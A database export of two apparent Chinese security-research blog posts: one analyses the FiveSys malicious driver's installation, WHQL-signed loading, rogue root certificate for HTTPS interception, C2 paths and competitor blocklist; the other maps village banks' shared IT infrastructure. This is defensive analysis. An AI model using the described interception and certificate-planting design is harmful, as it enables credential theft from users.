中间人窃密:攻击者预先架设一个代理服务器,随后将受控端的 HTTP/HTTPS 流量经它代理访问。此刻,代理服务器就是一个中间人的身份,攻击者可以从这里看到全量的用户数据,为盗号盗装备等恶意行为提供数据支撑。
证书部分详解
FiveSys 涉及了两种用途的证书,一种是驱动证书(WHQL),另一种是用于 HTTPS 通讯的证书。
驱动证书解释
如果在搜索引擎以 FiveSys 为关键字搜索后,可以发现很多媒体转载和报道 FiveSys 的文章,大多以“微软签发了FiveSys证书”为噱头,进行披露。在这些文章中所提到的证书,就是所谓的 WHQL证书。
WHQL全称为“Microsoft Windows Hardware Quality Lab”,中文名“Windows硬件设备质量实验室(认证)”。该证书的主要功能为“Windows操作系统的兼容性测试”。基于这个背景信息,笔者推测,该证书的签发逻辑为:这个驱动运行后不会让 Windows 操作系统崩溃,所以同意这个驱动在Windows系统上加载运行。至于你在功能上是善意还是恶意,并不在本认证的硬性考虑之内。当然在实际操作中,微软也有权将不符合安全要求的证书予以吊销甚至拒绝加载,但笔者认为这种拒绝并不是一个硬性规定或一种非做不可的检查。这也是很多恶意软件可以拿到 WHQL证书的直接原因。
基于以上介绍,原则上只要 FiveSys 在兼容性上满足相关条件,就可以得到这个认证证书。下面是一张分析 FiveSys驱动时,截取的证书认证路径图,从这个图就可以清晰的看到WHQL这个证书是从微软官方签属出来的:
从公开的文章来看,微软已经于xxxx时间吊销了该证书的有效性,这也是FiveSys 被BitDefender被露后的一个处置手段。
HTTPS证书部分解释
FiveSys在运行后,还会释放一个自签名的证书到Windows系统(相关注册表路径:HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5109E6ACAE9C8E8D179D33E8C8EDB9D7D683FB7A\Blob)。下图是分析该证书时得到的截图:
其实该证书的所有字段,均由 FiveSys 运维人自行填写。当 FiveSys 把这个证书释放到受控系统后,受控系统就会将其作为权威根证书。随后从这个证书签署出的 HTTPS 证书,也一并被系统认为是可信的证书,即使它是由 FiveSys 伪造的。
所以该证书在 FiveSys 中的核心功能也就一目了然了,它将被用来以“中间人攻击的方式”窃取用户的网页隐私数据。从被劫持域名的归属情况来看,该劫持主要针对私服游戏类网站。当受控机访问这些网站时其所使用的账号密码将面临被盗号的风险。 FiveSys 也会将盗号作为其稳定盈利的一个手段。
敌友识别
FiveSys 作为一个恶意驱动,它还有决定另一个驱动/程序是否可以加载的功能。经它同意的驱动可以加载,共同赚钱,而它拒绝的驱动/程序则无法加载,从而巩固胜利果实。为此它维护了一个白名单和黑名单。处于白名单里的实体则可以加载,黑名单里的实体则拒绝加载。样本中内置了一小部分黑名单,全量的黑名单和白名单则从主控地址中同步更新, 白名单的 URI 路径为 /api/safe/adopt,黑名单的 URI 路径为 /driverfiles/Jck.txt。
白名单
{"data":{"filelist":[{"value":"5632021112419125668|958167658420279700|958167658899559700|546414874679876|84644687351867|437564873658743344|696738267692473086"}]},"message":"","success":"1"}
此处白名单的内容没有详细分析,从内容上看和MD5有关,有很大的概率是同一批人运维的受控端。
黑名单
1|Zhang Zhengqi
1|Haining shengdun Network Information Technology Co., Ltd
1|SHENZHEN LIRINUO S
1|Shanghai easy kradar Information Consulting Co.Ltd
1|Zhuhai liancheng Technology Co
1|Beijing Chunbai Technology Development Co
1|Xi'an Xinli Software Technology Co
1|新疆亿事联网络科技有限公司
1|Handan City Congtai District LiKang Daily Goods Departmen
1|上海域联软件技术有限公司
1|Hubei Olympic Tour Information Technology Co
1|Shanghai easy kradar Information Consulting Co
1|深圳市大米虾科技有限公司
1|Xinyi Electronic Technology (Shanghai) Co
1|Binzhoushi Yongyu Feed Co.,LTd
1|上海睦欣网络科技有限公司
1|Beijing Baijianqi Touzi Guanli Youxiangongsi
1|Sichuan Zhiling Times Network Technology
1|深圳科快安全技术有限公司
1|Beijing Ruidongtiandi Info.Tech
1|邓治华
1|Xiamen phantom domain network technology
1|湖南万博网络科技有限公司
1|浙江恒歌网络科技有限公司
1|善君
1|上海广乐网络科技有限公司
1|DigiCert Timestamp 2021
1|大连纵梦网络科技有限公司
1|Fuqing Yuntan Network Tech Co
1|Jiangsu innovation safety assessment
1|Bopsoft
1|Shenzhen Luyoudashi Technology
1|YI ZENG
1|成都安慧科技有限公司
1|Henan Pushitong Intelligent Technology
1|台州市天空文化传播有限公司
1|Feitian Technologies
1|Beijing Chunbai Technology Development
1|Haining shengdun Network Information Technology
1|Shanghai Oriental Webcasting
1|Jiangsu Liebao Network Technology
1|盛趣信息技术
1|福州创意嘉和软件有限公司
1|Shanghai Changzhi Network Technology
1|Handan City Congtai District LiKang Daily
1|He Fei Yun Biao Xin Xi Ke Ji You Xian Gong Si
1|Shanda Computer (Shanghai) Co
1|北京布丁跳跳科技有限公司
1|长沙林游网络科技有限公司
1|Guangzhou Spengler Automated Vending Technologies
2|9D9F343EAA8FB4045A4B7D05437AC02B
2|A269121725987B766740D43964E83CF3
2|698FD84F0AABAA65F8BD3E7AD417F4D4
1|Beijing Founder Apabi Technology Limited
1|SHANGMAO CHEN
1|Shenzhen Chongcheng Yuanshun Technology Co., Ltd
1|Shenzhen Hua’nan Xingfa Electronic Equipment Firm
1|Shenzhen Jinxian Technology Co., Ltd.
1|Shenzhen Juyuan Technology Co., Ltd.
1|杭州诸相网络科技有限公司
1|南京神易网络科技有限公司
1|天津迅读科技有限公司
1|武汉诸相网络科技有限公司
1|珠海市君天电子科技有限公司
1|浙江恒歌网络科技有限公司
1|Hubei Olympic Tour Information Technology
1|Fuqing Yuntan Network Tech Co
2|CE7D7EE076A74D3C532265D8F6BBFF09
2|B5C73DB8E70D6F46AD9B693F3CE060D2
1|Baoji zhihengtaiye co
2|E68A23A23D88180841B4690434B14716
1|迷南文化传媒(上海)有限公司
1|Beijing JoinHope Image Technology Ltd.
1|青岛亿驰趣游网络科技有限公司
1|北京新超仁达科技有限公司
1|成都优昂文化传播有限责任公司
2|B5C73DB8E70D6F46AD9B693F3CE060D2
1|佛山市高明科得裕绝缘材料有限公司
1|拇指世界(北京)网络科技有限公司
1|深圳市世纪中正科技开发有限公司
1|Jiangsu innovation safety assessment Co., Ltd.
黑名单项目成分比较复杂,通过不专业的分析,大概能看到三类情况:
1. 测试版本,比如: a269121725987b766740d43964e83cf3 这一项就是一个FiveSys测试版程序。
2. 疑似竞争对手,以Henan Pushitong Intelligent Technology Co.记录为例,我们找到了用它签名的驱动文件,代码的大部分都加了防逆向保护的措施(比如:6722194b530249174d4b6717f16c778b),这类保护措施一般是防止安全分析人员进一步分析的,它们处于安全分析人员的对立面。所以推测,这类项目与FiveSys 是竞争者的关系。
3. 疑似涉及灰色收益的项目,比如:北京布丁跳跳科技有限公司 这个公司曾被网友在安全社区举报为流氓软件https://bbs.guanjia.qq.com/thread-844451-1-1.html。一般类似情况,相关项目与灰色收益有关的概率会比较大。(注意:这并不代表 北京布丁跳跳科技有限公司 这个公司是个坏东西,更有可能的是有人冒用了相关实体名做坏事)
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 概述\n\nFiveSys是 Bitdefender 在 《[Bitdefender-DT-Whitepaper-Fivesys](https://www.bitdefender.com/files/News/CaseStudies/study/405/Bitdefender-DT-Whitepaper-Fivesys-creat5699-en-EN.pdf) 》 披露的一组恶意软件家族。在他们披露的报告中,样本方面基本已经阐述的比较清晰了。我们本次分析,将再补充一些 FiveSys 的细节情况,及跟踪情况,以及详细解释一下 FiveSys 是如何使用这些证书的。可以说,本文是对 BitDefinder 所发报告的一个补充。\n\n# 植入过程及功能图\n\n![FiveSys---1](__GHOST_URL__/content/images/2022/05/FiveSys---1.png)\n\n图中各部分的展开介绍如下:\n\n## 分发部分\n\n分发部分,就是市面上可以直接获取到的各类可执行文件,这类文件的投递可能具有多样性,还可能会和各类游戏辅助器捆绑在一起进行分发,通过一些诱导下载或捆绑下载的方式,骗取用户信任下载执行。比如笔者现在正在分析的样本,eb6841fb0221dc2269aaf93247870b7a 就对应着该部分。该部分的主要工作只有两项:\n```\n1. 下调安全策略(关闭UAC)\n2. 释放一个FiveSys的安装器,并通过启动服务的方式运行它。\n```\n被释放的文件会保存在“分发部分”的尾部,通过字节取反的方式逃避检查。\n\n## FiveSys安装器\n\n安装器部分的核心功能有三项:\n\n```\n1. 释放并安装FiveSys驱动;\n2. 释放并安装自签名的 HTTPS证书;\n3. 向主控端汇报 1/2 是否安装成功,并汇报受控机的基本信息,比如系统版本/系统类型等;\n```\n\n经过逆向分析,我们发现安装器中内置了大量主控端域名地址,经过提取后得到xxx条IOC记录,详情可参见附录部分。\n\n## FiveSys持久化后门\n\n从远程控制角度来讲,这一部分才是FiveSys的核心逻辑,它的主要工作如下:\n\n```\n1. 主控端识别(同样内置大量主控域名)\n2. 阻断竞争对手的加载\n3. 下载新的组件并执行(也可以用于自身更新)\n4. 中间人窃密,添加网络内核钩子,以中间人攻击的形式窃取网络报文。\n```\n\n\n*主控端识别*: 解析完内置的主控域名后,还需要对主控域名进行识别,只有当目标主控包含特定网页内容的时候,才会被当作合法主控。\n\n*阻断竞争对手的加载*: FiveSys会从主控同步一个黑名单到本地,当另一个驱动程序包含其内内容时则会拒绝其加载。进而保证自己的阵地。\n\n*下载新的组件并执行*:从主控先同步组件的下载地址,再同步组件本身到受控端,最后安装并执行。\n\n*中间人窃密*:攻击者预先架设一个代理服务器,随后将受控端的 HTTP/HTTPS 流量经它代理访问。此刻,代理服务器就是一个中间人的身份,攻击者可以从这里看到全量的用户数据,为盗号盗装备等恶意行为提供数据支撑。\n\n\n## 证书部分详解\n\n\nFiveSys 涉及了两种用途的证书,一种是驱动证书(WHQL),另一种是用于 HTTPS 通讯的证书。\n\n\n### 驱动证书解释\n\n\n如果在搜索引擎以 FiveSys 为关键字搜索后,可以发现很多媒体转载和报道 FiveSys 的文章,大多以“微软签发了FiveSys证书”为噱头,进行披露。在这些文章中所提到的证书,就是所谓的 WHQL证书。\n\nWHQL全称为“Microsoft Windows Hardware Quality Lab”,中文名“Windows硬件设备质量实验室(认证)”。该证书的主要功能为“Windows操作系统的兼容性测试”。基于这个背景信息,笔者推测,该证书的签发逻辑为:这个驱动运行后不会让 Windows 操作系统崩溃,所以同意这个驱动在Windows系统上加载运行。至于你在功能上是善意还是恶意,并不在本认证的硬性考虑之内。当然在实际操作中,微软也有权将不符合安全要求的证书予以吊销甚至拒绝加载,但笔者认为这种拒绝并不是一个硬性规定或一种非做不可的检查。这也是很多恶意软件可以拿到 WHQL证书的直接原因。\n\n基于以上介绍,原则上只要 FiveSys 在兼容性上满足相关条件,就可以得到这个认证证书。下面是一张分析 FiveSys驱动时,截取的证书认证路径图,从这个图就可以清晰的看到WHQL这个证书是从微软官方签属出来的:\n\n![SysCert](__GHOST_URL__/content/images/2022/05/SysCert.png)\n\n从公开的文章来看,微软已经于xxxx时间吊销了该证书的有效性,这也是FiveSys 被BitDefender被露后的一个处置手段。\n\n\n### HTTPS证书部分解释\n\n\nFiveSys在运行后,还会释放一个自签名的证书到Windows系统(相关注册表路径:`HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\5109E6ACAE9C8E8D179D33E8C8EDB9D7D683FB7A\\Blob`)。下图是分析该证书时得到的截图:\n\n![FiveSys_HTTPS--](__GHOST_URL__/content/images/2022/05/FiveSys_HTTPS--.png)\n\n其实该证书的所有字段,均由 FiveSys 运维人自行填写。当 FiveSys 把这个证书释放到受控系统后,受控系统就会将其作为权威根证书。随后从这个证书签署出的 HTTPS 证书,也一并被系统认为是可信的证书,即使它是由 FiveSys 伪造的。\n\n所以该证书在 FiveSys 中的核心功能也就一目了然了,它将被用来以“中间人攻击的方式”窃取用户的网页隐私数据。从被劫持域名的归属情况来看,该劫持主要针对私服游戏类网站。当受控机访问这些网站时其所使用的账号密码将面临被盗号的风险。 FiveSys 也会将盗号作为其稳定盈利的一个手段。\n\n\n## 敌友识别\n\n\nFiveSys 作为一个恶意驱动,它还有决定另一个驱动/程序是否可以加载的功能。经它同意的驱动可以加载,共同赚钱,而它拒绝的驱动/程序则无法加载,从而巩固胜利果实。为此它维护了一个白名单和黑名单。处于白名单里的实体则可以加载,黑名单里的实体则拒绝加载。样本中内置了一小部分黑名单,全量的黑名单和白名单则从主控地址中同步更新, 白名单的 URI 路径为 `/api/safe/adopt`,黑名单的 URI 路径为 `/driverfiles/Jck.txt`。\n\n*白名单*\n```\n{\"data\":{\"filelist\":[{\"value\":\"5632021112419125668|958167658420279700|958167658899559700|546414874679876|84644687351867|437564873658743344|696738267692473086\"}]},\"message\":\"\",\"success\":\"1\"}\n```\n\n此处白名单的内容没有详细分析,从内容上看和MD5有关,有很大的概率是同一批人运维的受控端。\n\n*黑名单*\n```\n1|Zhang Zhengqi\n1|Haining shengdun Network Information Technology Co., Ltd\n1|SHENZHEN LIRINUO S\n1|Shanghai easy kradar Information Consulting Co.Ltd\n1|Zhuhai liancheng Technology Co\n1|Beijing Chunbai Technology Development Co\n1|Xi'an Xinli Software Technology Co\n1|新疆亿事联网络科技有限公司\n1|Handan City Congtai District LiKang Daily Goods Departmen\n1|上海域联软件技术有限公司\n1|Hubei Olympic Tour Information Technology Co\n1|Shanghai easy kradar Information Consulting Co\n1|深圳市大米虾科技有限公司\n1|Xinyi Electronic Technology (Shanghai) Co\n1|Binzhoushi Yongyu Feed Co.,LTd\n1|上海睦欣网络科技有限公司\n1|Beijing Baijianqi Touzi Guanli Youxiangongsi\n1|Sichuan Zhiling Times Network Technology\n1|深圳科快安全技术有限公司\n1|Beijing Ruidongtiandi Info.Tech\n1|邓治华\n1|Xiamen phantom domain network technology\n1|湖南万博网络科技有限公司\n1|浙江恒歌网络科技有限公司\n1|善君\n1|上海广乐网络科技有限公司\n1|DigiCert Timestamp 2021\n1|大连纵梦网络科技有限公司\n1|Fuqing Yuntan Network Tech Co\n1|Jiangsu innovation safety assessment\n1|Bopsoft\n1|Shenzhen Luyoudashi Technology\n1|YI ZENG\n1|成都安慧科技有限公司\n1|Henan Pushitong Intelligent Technology\n1|台州市天空文化传播有限公司\n1|Feitian Technologies\n1|Beijing Chunbai Technology Development\n1|Haining shengdun Network Information Technology\n1|Shanghai Oriental Webcasting\n1|Jiangsu Liebao Network Technology\n1|盛趣信息技术\n1|福州创意嘉和软件有限公司\n1|Shanghai Changzhi Network Technology\n1|Handan City Congtai District LiKang Daily\n1|He Fei Yun Biao Xin Xi Ke Ji You Xian Gong Si\n1|Shanda Computer (Shanghai) Co\n1|北京布丁跳跳科技有限公司\n1|长沙林游网络科技有限公司\n1|Guangzhou Spengler Automated Vending Technologies\n2|9D9F343EAA8FB4045A4B7D05437AC02B\n2|A269121725987B766740D43964E83CF3\n2|698FD84F0AABAA65F8BD3E7AD417F4D4\n1|Beijing Founder Apabi Technology Limited\n1|SHANGMAO CHEN\n1|Shenzhen Chongcheng Yuanshun Technology Co., Ltd\n1|Shenzhen Hua’nan Xingfa Electronic Equipment Firm\n1|Shenzhen Jinxian Technology Co., Ltd.\n1|Shenzhen Juyuan Technology Co., Ltd.\n1|杭州诸相网络科技有限公司\n1|南京神易网络科技有限公司\n1|天津迅读科技有限公司\n1|武汉诸相网络科技有限公司\n1|珠海市君天电子科技有限公司\n1|浙江恒歌网络科技有限公司\n1|Hubei Olympic Tour Information Technology\n1|Fuqing Yuntan Network Tech Co\n2|CE7D7EE076A74D3C532265D8F6BBFF09\n2|B5C73DB8E70D6F46AD9B693F3CE060D2\n1|Baoji zhihengtaiye co\n2|E68A23A23D88180841B4690434B14716\n1|迷南文化传媒(上海)有限公司\n1|Beijing JoinHope Image Technology Ltd.\n1|青岛亿驰趣游网络科技有限公司\n1|北京新超仁达科技有限公司\n1|成都优昂文化传播有限责任公司\n2|B5C73DB8E70D6F46AD9B693F3CE060D2\n1|佛山市高明科得裕绝缘材料有限公司\n1|拇指世界(北京)网络科技有限公司\n1|深圳市世纪中正科技开发有限公司\n1|Jiangsu innovation safety assessment Co., Ltd.\n```\n\n\n\n黑名单项目成分比较复杂,通过不专业的分析,大概能看到三类情况:\n1. 测试版本,比如: a269121725987b766740d43964e83cf3 这一项就是一个FiveSys测试版程序。\n2. 疑似竞争对手,以`Henan Pushitong Intelligent Technology Co.`记录为例,我们找到了用它签名的驱动文件,代码的大部分都加了防逆向保护的措施(比如:6722194b530249174d4b6717f16c778b),这类保护措施一般是防止安全分析人员进一步分析的,它们处于安全分析人员的对立面。所以推测,这类项目与FiveSys 是竞争者的关系。\n3. 疑似涉及灰色收益的项目,比如:`北京布丁跳跳科技有限公司` 这个公司曾被网友在安全社区举报为流氓软件`https://bbs.guanjia.qq.com/thread-844451-1-1.html`。一般类似情况,相关项目与灰色收益有关的概率会比较大。(注意:这并不代表 `北京布丁跳跳科技有限公司` 这个公司是个坏东西,更有可能的是有人冒用了相关实体名做坏事)\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 627cc2ea8df64b00077cff29 |
post | null | 2022-07-12T01:19:28.000Z | 63873b9a8b1c1e0007f5301d | cun-zhen-yin-xing-ji-chu-she-shi-yan-jin-fen-xi | 0 | 2022-07-22T11:00:29.000Z | public | draft | null | null | 村镇银行网络基础设施演进分析 | <!--kg-card-begin: markdown--><h2 id="">缘起</h2>
<p>前段时间河南村镇银行储户的时间引起了较大的关注。我们在收集整理相关资产的数据的时候,曾经注意到国内很多的村镇银行在共用IT基础设施,当时只是觉得奇怪,为什么会是这种业务形态。<br>
这次村镇银行爆雷事件发生之后,我们看了一下发生爆雷的六家村镇银行,发现其使用的<strong>IT基础设施确实是同一个供应商,即君正智达科技发展有限公司,并且这个供应商也只服务于这六家村镇银行</strong>。</p>
<p>为了能够更好的看清国内村镇银行在IT基础设置方面的情况,本文利用我们收集的基础数据,分别从其域名注册,IP使用,备案情况以及证书使用情况这几个角度来评估,希望能够刻画清楚村镇银行在IT基础设施领域的使用情况。</p>
<h2 id="">国内村镇银行的基本概况</h2>
<h3 id="">数量,域名注册时间分布,地域分布</h3>
<p>根据根据央行2021的《中国金融稳定报告》[1],截止2021年国内有1631家村镇银行。<br>
我们从DNSMon系统中,利用DNS数据,SSL证书数据以及ICP备案数据,共整理出村镇银行域名675个,子域名有3939个,IP有3558个。</p>
<ul>
<li>从ICP备案的所有历史数据中整理出村镇银行相关的域名有897个,去掉已经失效的,目前还有675个备案有效。</li>
<li>单位资产库中整理出3558个村镇银行相关的IP,以此位出发点关联近半年PDNS数据,整理出相关子域名3939个。</li>
</ul>
<h4 id="it">IT基础设施使用模式</h4>
<p>我们的基础数据覆盖面比较广泛,从以往结合的实际案例分析中,我们的数据基本能搞和实际的实体对应上。不过这次看到的村镇银行的域名个数远少于央行公布的实际数据。经过分析我们发现主要是因为很多村镇银行备案主体是一个,通过其子域名或者直接使用IP地址来开展其业务。</p>
<p>从上面这个现象出发,并结合银监会对镇村银行管理的规定(设立村镇银行必须有一家银行业金融机构发起并控股(俗称母行))[2],我们进一步分析了村镇银行IT基础设置尤其是后台运营的两大模式:</p>
<ul>
<li>
<p>模式一:由母行或母行分公司运营村镇银行网银系统<br>
像母行实力强的公司,一般会直接包揽下面所有村镇银行的网银系统开发和运维。所以同一母行下的村镇银行主页往往都是统一风格,有些村镇银行网站甚至是相同域名的不同子域名。<br>
一个典型的例子是【中银富登村镇银行(www.bocfullertonbank.com)】由中国银行发起,遍布全国22个省市的126家村镇银行法人[3]。其域名在工信部的ICP备案的单位主体均为中国银行股份有限公司,备案的网站名称是中银富登村镇银行。如下图所示:<br>
<img src = "/content/images/2022/07/boc_list.png" width=860px /><br>
类似这种运营模式的还有【沪农商村镇银行】【浦发村镇银行】等银行,这种模式应该说是目前村镇银行IT基础设施里面非常普遍的一种模式。</p>
</li>
<li>
<p>模式二:将网银系统外包给第三方技术服务公司<br>
很多村镇银行发起行(即母行)本身也是中小规模,并且有些母行对村镇银行的掌控力也不强,这些村镇银行一般会将网银系统外包给第三方技术服务公司或者多个母行组织形成的合作联盟(比如山东省城市商业应银行合作联盟)。</p>
<p>这次爆雷的六家村镇银行就属于这种模式。比如【禹州新民生村镇银行】的域名yxmsyh.com 备案的主办单位名称就是禹州新民生村镇银行股份有限公司,备案的网站名称是禹州新民生村镇银行。其官方主页和网银入口分别是其子域名 www.wfvbank.com 和 ebank.yxmsyh.com。另外五家的模式也类似。<br>
在这种模式下有些村镇银行除了使用自己备案的域名之外,在其主页中网银入口域名则直接使用了技术服务商备案的域名。</p>
<p>比如【铁岭新星村镇银行】的官网主页是 www.tlvb.com.cn 。从其官网页面可以看出(下图),网银入口则是tlxxebank.cibfintech.com,<br>
<img src = "/content/images/2022/07/tlvb.jpg" width=860px ><br>
查验域名cibfintech.com发现是兴业数字金融服务(上海)股份有限公司,子域名 tlxxebank 是“铁岭新星”的拼音首字母缩写 + ebank。 通过DNSMon的子域名查询,我们可以发现近百家村镇银行同样在使用兴业数金的服务。比如【乐都三江村镇银行】【松桃长征村镇银行】【东丰吉银村镇银行】等。</p>
</li>
</ul>
<h4 id="">域名注册时间分布</h4>
<p>一般来说,从银行对外开展业务起,其域名应该已经注册并生效了。所以我们从村镇银行域名的注册时间,我们整理了村镇银行的兴起趋势(此处仅供参考,详细数据参见应保监会的数据)。</p>
<ul>
<li>从注册时间上来看,从2007年开始村镇银行的域名注册持续上涨,至2015年-2017年前后势头最猛,之后呈递减趋势。</li>
<li>另外注意到一个高峰,2021年6月份同时有30+的村镇银行注册域名,其大部分是<strong>蒙商银行</strong>旗下的村镇银行在同一时间点注册导致的。</li>
</ul>
<img src = "/content/images/2022/07/--------2.png" width=860px />
<img src = "/content/images/2022/07/--------2-1.png" width=860px />
<h2 id="">网络基础设施情况</h2>
<h3 id="">村镇银行的子域名概况</h3>
<p>根据经验,一个域名的子域名分别代表其不同的业务。从上面的介绍中,我们知道www时期web主页,ebank则是其网上银行的业务。对收集到的村镇银行域名的子域名进行了统计之后发现确实如此:www和ebank占居了头部的两位。接下来的基本都是其银行业务的DNS服务器相关的域名了。</p>
<img src = "/content/images/2022/07/-----.png" width=860px />
<h3 id="">不同子域名的解析结果</h3>
<h4 id="">聚合性</h4>
<p>如在开头所说,我们发现,村镇银行的域名解析的IP地址非常聚集。很多地理位置跨度极广的村镇银行却在使用同一个IP。这种现象也佐证了:村镇银行规模偏小,不具备独立开发网银系统的能力,一般由母行包揽或外包给第三方企业。我们观察到的为村镇银行提供服务的TOP10的IP地址如下:</p>
<img src = "/content/images/2022/07/----IP_top.png" width=860px />
<h4 id="">运营商</h4>
<p>此外,我们对监控到的3558个村镇银行IP的运营商进行统计。发现大多数的IP地址位于三大运营商。除此之外上海锐速网络科技有限公司,阿里云等云服务商也在前列。</p>
<img src = "/content/images/2022/07/IP---2.png" width=860px />
<h4 id="ip">同IP上的其他域名</h4>
<p>在我们监控到的这3558个村镇银行IP上,除了看到村镇银行和其母行的域名解析到此IP外,还看到了一些其他公司的域名。经过分析之后发现,这些公司基本上都是村镇银行网银系统的第三方技术服务商,或者是跟金融,保险相关的业务。业务在使用IP基础设施方面有很好的聚集性。具体分析如下:</p>
<ul>
<li>村镇银行的第三方技术服务商主要集中在:兴业数字金融服务(上海)股份有限公司,深圳手付通科技有限公司(也有可能是央行下的中国金融电子化集团有限公司),北京华夏家润信息科技有限公司和山东省城市商业银行合作联盟有限公司。</li>
<li>此次爆雷的村镇银行案件中关联到的君正智达公司[4]位列第13,14位。<br>
<img src = "/content/images/2022/07/--------2-.png" width=860px /></li>
</ul>
<h4 id="">对君正智达的分析</h4>
<p>通过整理发现,与君正智达公司同IP的村镇银行,正好是此次爆雷的六家村镇银行。(相关新闻:多家媒体调查报道显示,涉及本轮村镇银行存款暴雷的村镇银行或许不止4家,而可能至少包括河南省4家村镇银行,和安徽省2家村镇银行。除了河南禹州新民生村镇银行、上蔡惠民村镇银行、柘城黄淮村镇银行和开封新东方村镇银行外,还有安徽固镇新淮河村镇银行、安徽歙县新淮河村镇银行。总涉及到的存款可能超过397亿)<br>
关联到的IP为47.112.95.228,2408:4003:1f20::df。下图为解析到这两个IP上的所有子域名及对应的单位,首次解析时间。梳理后发现:</p>
<ul>
<li>47.112.95.228,2408:4003:1f20::df为君正智达的IP,IP上的子域名对应着村镇银行的相关业务,君正智达作为这六家村镇银行技术服务商做网银相关的开发和运营。</li>
<li>从时间上来看,从2020年5月到2022年1月,这六家村镇银行先后转移到了君正智达公司的IP上。</li>
<li>这六家村镇银行的子域名前缀分别是ebank,i,wxbank,app,直接访问对应的都是用户网银登陆和网银app下载的界面,现在基本都无法访问或登录。</li>
<li>ebank子域名对应的是用户网银登录入口,其中除了开封新东方村镇银行之外的其他5家村镇银行均切换到君正智达公司对应的IP地址上。<br>
域名解析的IP地址列表<br>
<img src = "/content/images/2022/07/----2-1.png" width=860px /><br>
禹州新民生村镇银行网银已无法登录<br>
<img src = "/content/images/2022/07/---------.png" width=860px /></li>
</ul>
<h3 id="">村镇银行域名的证书情况</h3>
<p>由于金融领域等网站拥有大量客户的敏感信息,且每天都有大量资金交易需要进行,特别是需要用户登录的网站(ebank子域名),需要可信赖的TLS证书来保障交易的安全。<br>
从村镇银行相关的3939个子域名中抽取包含前缀ebank的所有子域名,关联证书库,统计如下,</p>
<ul>
<li>ebank子域名中,97%的子域名都是有证书的,没有关联到证书的ebank子域名,经确认对应的村镇银行已经将网银登录网址切换到其第三方技术支持单位的有合法证书的子域名上。</li>
<li>从使用的证书等级来看,78%的ebank子域名用的是OV等级的证书,15%的ebank子域名用的是EV等级的证书,整体的证书安全状况较好。<br>
<img src = "/content/images/2022/07/ebank---2.png" width=860px /></li>
</ul>
<h2 id="">结论</h2>
<p>从我们的基础网络数据来看,可以有如下几个结论:<br>
(1)由于村镇银行规模小,往往不具备网银系统建设的能力,多数是由实力强的母行负责或者外包给第三方公司运营。<br>
(2)我们看到的与村镇银行合作较多的技术服务商主要有:兴业数字金融服务(上海)股份有限公司,深圳手付通科技有限公司(也有可能是央行旗下的中国金融电子化集团有限公司),北京华夏家润信息科技有限公司和山东省城市商业银行合作联盟有限公司。<br>
(3)技术服务商君正智达公司与此次爆雷的六家村镇银行紧密相关。君正智达关联的村镇银行也只有这六家,不过值得一题的是开封新东方村镇银行的电子银行业务并未使用君正智达的系统。<br>
(4)从域名注册时间上来看,村镇银行的域名注册数量在2015年-2017年前后势头最猛。<br>
(5)从IP运营商角度来看,村镇银行所使用的IP数量排名,靠前的除了三大运营商外,上海锐速网络科技有限公司,阿里云等云服务商也在前列。<br>
(6)从证书的使用角度来看,村镇银行的网银登陆都有合法的TLS证书,安全合规。</p>
<h2 id="">参考资料</h2>
<ol>
<li><a href="http://www.pbc.gov.cn/jinrongwendingju/146766/146772/4332768/2021111616012855737.pdf">http://www.pbc.gov.cn/jinrongwendingju/146766/146772/4332768/2021111616012855737.pdf</a></li>
<li><a href="http://www.gov.cn/zhengce/2016-05/24/content_5076294.htm">http://www.gov.cn/zhengce/2016-05/24/content_5076294.htm</a></li>
<li><a href="https://www.bocfullertonbank.com/gywh/gsjs/">https://www.bocfullertonbank.com/gywh/gsjs/</a></li>
<li><a href="https://m.thepaper.cn/baijiahao_18977196">https://m.thepaper.cn/baijiahao_18977196</a></li>
</ol>
<!--kg-card-end: markdown--> | 缘起
前段时间河南村镇银行储户的时间引起了较大的关注。我们在收集整理相关资产的数据的时候,曾经注意到国内很多的村镇银行在共用IT基础设施,当时只是觉得奇怪,为什么会是这种业务形态。
这次村镇银行爆雷事件发生之后,我们看了一下发生爆雷的六家村镇银行,发现其使用的IT基础设施确实是同一个供应商,即君正智达科技发展有限公司,并且这个供应商也只服务于这六家村镇银行。
为了能够更好的看清国内村镇银行在IT基础设置方面的情况,本文利用我们收集的基础数据,分别从其域名注册,IP使用,备案情况以及证书使用情况这几个角度来评估,希望能够刻画清楚村镇银行在IT基础设施领域的使用情况。
国内村镇银行的基本概况
数量,域名注册时间分布,地域分布
根据根据央行2021的《中国金融稳定报告》[1],截止2021年国内有1631家村镇银行。
我们从DNSMon系统中,利用DNS数据,SSL证书数据以及ICP备案数据,共整理出村镇银行域名675个,子域名有3939个,IP有3558个。
* 从ICP备案的所有历史数据中整理出村镇银行相关的域名有897个,去掉已经失效的,目前还有675个备案有效。
* 单位资产库中整理出3558个村镇银行相关的IP,以此位出发点关联近半年PDNS数据,整理出相关子域名3939个。
IT基础设施使用模式
我们的基础数据覆盖面比较广泛,从以往结合的实际案例分析中,我们的数据基本能搞和实际的实体对应上。不过这次看到的村镇银行的域名个数远少于央行公布的实际数据。经过分析我们发现主要是因为很多村镇银行备案主体是一个,通过其子域名或者直接使用IP地址来开展其业务。
从上面这个现象出发,并结合银监会对镇村银行管理的规定(设立村镇银行必须有一家银行业金融机构发起并控股(俗称母行))[2],我们进一步分析了村镇银行IT基础设置尤其是后台运营的两大模式:
*
模式一:由母行或母行分公司运营村镇银行网银系统
像母行实力强的公司,一般会直接包揽下面所有村镇银行的网银系统开发和运维。所以同一母行下的村镇银行主页往往都是统一风格,有些村镇银行网站甚至是相同域名的不同子域名。
一个典型的例子是【中银富登村镇银行(www.bocfullertonbank.com)】由中国银行发起,遍布全国22个省市的126家村镇银行法人[3]。其域名在工信部的ICP备案的单位主体均为中国银行股份有限公司,备案的网站名称是中银富登村镇银行。如下图所示:
类似这种运营模式的还有【沪农商村镇银行】【浦发村镇银行】等银行,这种模式应该说是目前村镇银行IT基础设施里面非常普遍的一种模式。
*
模式二:将网银系统外包给第三方技术服务公司
很多村镇银行发起行(即母行)本身也是中小规模,并且有些母行对村镇银行的掌控力也不强,这些村镇银行一般会将网银系统外包给第三方技术服务公司或者多个母行组织形成的合作联盟(比如山东省城市商业应银行合作联盟)。
